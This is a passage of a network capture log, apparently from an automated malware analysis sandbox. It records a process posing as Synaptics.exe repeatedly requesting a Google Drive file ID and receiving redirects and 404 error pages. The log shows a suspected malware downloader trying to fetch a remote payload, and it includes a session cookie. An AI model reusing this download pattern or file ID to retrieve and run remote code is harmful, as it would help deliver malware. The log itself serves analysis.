h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.8	49884	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:02 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:02 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:02 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EOJveXgEAFvhI426qGMn4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPAbUqiTPufiAznkUa0fdHUec7y1UiYHxlK69c2faCXmzWk6UG-fr5ux17vqlYShYJDalQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:02 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:11:02 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 33 6b 72 56 6f 72 41 61 38 64 55 67 5a 61 66 6b 64 69 68 41 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="_3krVorAa8dUgZafkdihAw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:11:02 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.8	49886	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:03 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.8	49887	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:03 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.8	49890	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:04 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-OapZI-63e3fPXyqIykp1yg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.8	49891	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:04 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-GQBYW5OLB3qZYJG5sUhEEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.8	49895	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:05 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-L34Er1WZ1PYsM0RdMfaCBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.8	49894	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:05 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:05 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:05 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-c5InrbpePJP70VMVU5Ah8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nOuiwY068K3mLUlO8KiSOaobozKSecr_hjrgyMt4lF7IswDJEI4VovSfzSF2kt1j6G4XA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:05 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)
2024-08-22 11:11:05 UTC	1390	IN	Data Raw: 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 42 74 75 72 50 57 69 35 65 39 37 7a 35 4d 38 6a 38 54 71 75 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 Data Ascii: !!1</title><style nonce="jBturPWi5e97z5M8j8Tqug">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:11:05 UTC	107	IN	Data Raw: 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.8	49897	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:05 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-OyODu2SggM3JayQ2HJIzHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.8	49896	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:05 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:05 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:05 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JuVVK1RRc1xZcsqeISWpqQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOrT0chPHJy43aM8sc2LZeUSYes_Ig4YHVtnLhU64-1-ZHNaIf53TGNXy3LUbOjnTFuyguldWtCiQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:11:05 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-22 11:11:05 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 6b 57 4d 72 68 4d 4e 72 62 74 37 38 51 59 52 35 34 69 36 31 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="UkWMrhMNrbt78QYR54i61Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-22 11:11:05 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.8	49898	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:06 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:11:06 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:11:06 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-u2HnfWkIyPWZR6J8WyjK5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.8	49899	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:06 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
